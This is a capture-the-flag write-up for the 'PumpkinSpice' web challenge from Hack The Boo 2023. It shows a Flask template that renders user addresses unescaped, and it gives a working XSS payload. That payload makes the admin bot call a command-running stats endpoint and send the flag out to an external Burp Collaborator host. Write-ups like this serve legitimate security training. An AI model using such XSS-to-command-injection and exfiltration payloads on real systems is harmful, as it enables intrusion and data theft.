PumpkinSpice
Challenge
- CTF: Hack The Boo 2023 - Practice Official Writeup
- Name: PumpkinSpice
- Category: Web
- Difficulty: Easy
- Points: 350
- Description: In the eerie realm of cyberspace, a shadowy hacker collective known as the “Phantom Pumpkin Patch” has unearthed a sinister Halloween-themed website, guarded by a devious vulnerability. As the moon casts an ominous glow, their cloaked figures gather around the flickering screens, munching on pickles, ready to exploit this spectral weakness.
- Objective: XSS to blind command injection
Files
Download: web_pumpkinspice.zip
Writeup
Lets spin-up the docker image of the web and setup our static-code analysis IDE:
1
2
code .
sudo ./build-docker.sh
Browsing to the local webpage: http://127.0.0.1:1337/
, we are greeted with a free treat submission page:
When submitted, a request is sent to /add/address
with our address:
1
2
3
4
5
6
7
8
9
10
POST /add/address HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
address=test%40test.com
When we add an address, a bot is spun up as shown below that loads addresses.html: app.py
1
2
3
4
5
6
7
8
9
10
@app.route("/add/address", methods=["POST"])
def add_address():
address = request.form.get("address")
if not address:
return render_template("index.html", message="No address provided")
addresses.append(address)
Thread(target=start_bot,).start()
return render_template("index.html", message="Address registered")
The bot HTML page is parsed with an unsafe string escape via the |safe
operator. This could be used to inject a XSS payload into an address. templates/addresses.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="author" content="lean, xclow3n">
<title>🎃 Pumpkin Spice 🎃</title>
</head>
<body>
<h1>System stats:</h1>
<p id="stats"></p>
<h1>Addresses:</h1>
{% for address in addresses %}
<p>{{ address|safe }}</p>
{% endfor %}
<script src="/static/js/script.js"></script>
</body>
</html>
Sending the following XSS payload will send an SSRF request to /api/stats
that will execute a command to read the flag, and forward it over to our webhook site. The following XSS payload was used to achieve this:
1
<script>(async () => {{let r=await fetch('/api/stats?command=cat+/flag*');f = await r.text();await fetch('http://1acavp0u3j9z2k41zd76r9rh58b1zrng.oastify.com?c=' + btoa(f))}})()</script>
This triggers the DNS/HTTP request to our webhook site (i.e. burp collaborator):
Spinning up a docker instance and sending the same payload, we can then obtain the real flag. Flag: HTB{th3_tr34t_m1s5i0n}